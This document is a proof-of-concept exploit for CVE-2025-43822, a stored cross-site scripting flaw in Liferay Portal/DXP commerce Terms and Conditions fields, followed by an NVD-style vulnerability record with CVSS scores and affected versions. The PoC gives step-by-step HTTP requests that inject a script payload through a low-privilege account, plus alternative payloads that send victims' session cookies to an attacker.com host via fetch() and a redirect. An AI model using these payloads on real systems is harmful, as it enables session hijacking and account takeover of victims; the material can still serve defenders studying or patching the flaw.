CVE-2025-43822

<!-- CVE-2025-43822 PoC: Stored XSS in Liferay Portal/DXP Terms and Conditions --> <!-- Vulnerability: Payment Terms and Delivery Term Name fields --> <!-- Step 1: Authenticate as a low-privilege user --> POST /c/portal/login HTTP/1.1 Host: target-liferay-instance.com Content-Type: application/x-www-form-urlencoded login=<username>&password=<password>&_com_liferay_portal_security_auth_http_portal_LoginPortlet_redirect=%2F <!-- Step 2: Inject malicious payload into Payment Terms Name field --> POST /group/control_panel/manage HTTP/1.1 Host: target-liferay-instance.com Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=<session_cookie> _com_liferay_commerce_frontend_internal_portlet_CommerceTermsPortlet_formDate=1234567890000 &_com_liferay_commerce_frontend_internal_portlet_CommerceTermsPortlet_name=<script>alert('XSS-'+document.cookie)</script> &_com_liferay_commerce_frontend_internal_portlet_CommerceTermsPortlet_type=payment-terms &_com_liferay_commerce_frontend_internal_portlet_CommerceTermsPortlet_active=true &p_p_id=com_liferay_commerce_frontend_internal_portlet_CommerceTermsPortlet <!-- Alternative payload for Delivery Term on view order page --> <!-- Payload: <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> --> <!-- Payload: <svg onload="document.location='https://attacker.com/?cookie='+document.cookie"> --> <!-- Step 3: When victim visits view order page, the stored XSS executes --> GET /web/guest/order/12345 HTTP/1.1 Host: target-liferay-instance.com Cookie: JSESSIONID=<victim_session_cookie> <!-- The malicious script in the Terms name will execute in the victim's browser context -->

{"cve": {"id": "CVE-2025-43822", "sourceIdentifier": "[email protected]", "published": "2025-10-07T23:15:33.770", "lastModified": "2025-12-15T18:09:21.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple stored cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.4.3.15 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 15 through update 92 allow remote attackers to inject arbitrary web script or HTML via crafted payload injected into a Terms and Condition's Name text field to (1) Payment Terms, or (2) the Delivery Term on the view order page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q3.1", "versionEndExcluding": "2023.q3.9", "matchCriteriaId": "C3ED7CF1-6D8A-40F7-A009-F3A800F955BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q4.0", "versionEndExcluding": "2023.q4.6", "matchCriteriaId": "7C41E249-91C4-4B2D-A8D2-C953A463E14F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update15:*:*:*:*:*:*", "matchCriteriaId": "C929CF16-4725-492A-872B-0928FE388FC9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update16:*:*:*:*:*:*", "matchCriteriaId": "1B8750A1-E481-48D4-84F4-97D1ABE15B46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update17:*:*:*:*:*:*", "matchCriteriaId": "454F8410-D9AC-481E-841C-60F0DF2CC25E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update18:*:*:*:*:*:*", "matchCriteriaId": "D1A442EE-460F-4823-B9EF-4421050F0847"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update19:*:*:*:*:*:*", "matchCriteriaId": "608B205D-0B79-4D1C-B2C1-64C31DB1896E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update20:*:*:*:*:*:*", "matchCriteriaId": "4427DC78-E80C-4057-A295-B0731437A99E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update21:*:*:*:*:*:*", "matchCriteriaId": "22B6B8C1-1FF3-41BC-9576-16193AE20CC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update22:*:*:*:*:*:*", "matchCriteriaId": "DDA17F24-1A7E-4BEB-9C98-41761A2A36A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update23:*:*:*:*:*:*", "matchCriteriaId": "3B062851-CE6B-44F4-8222-422EC9872EC3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update24:*:*:*:*:*:*", "matchCriteriaId": ... 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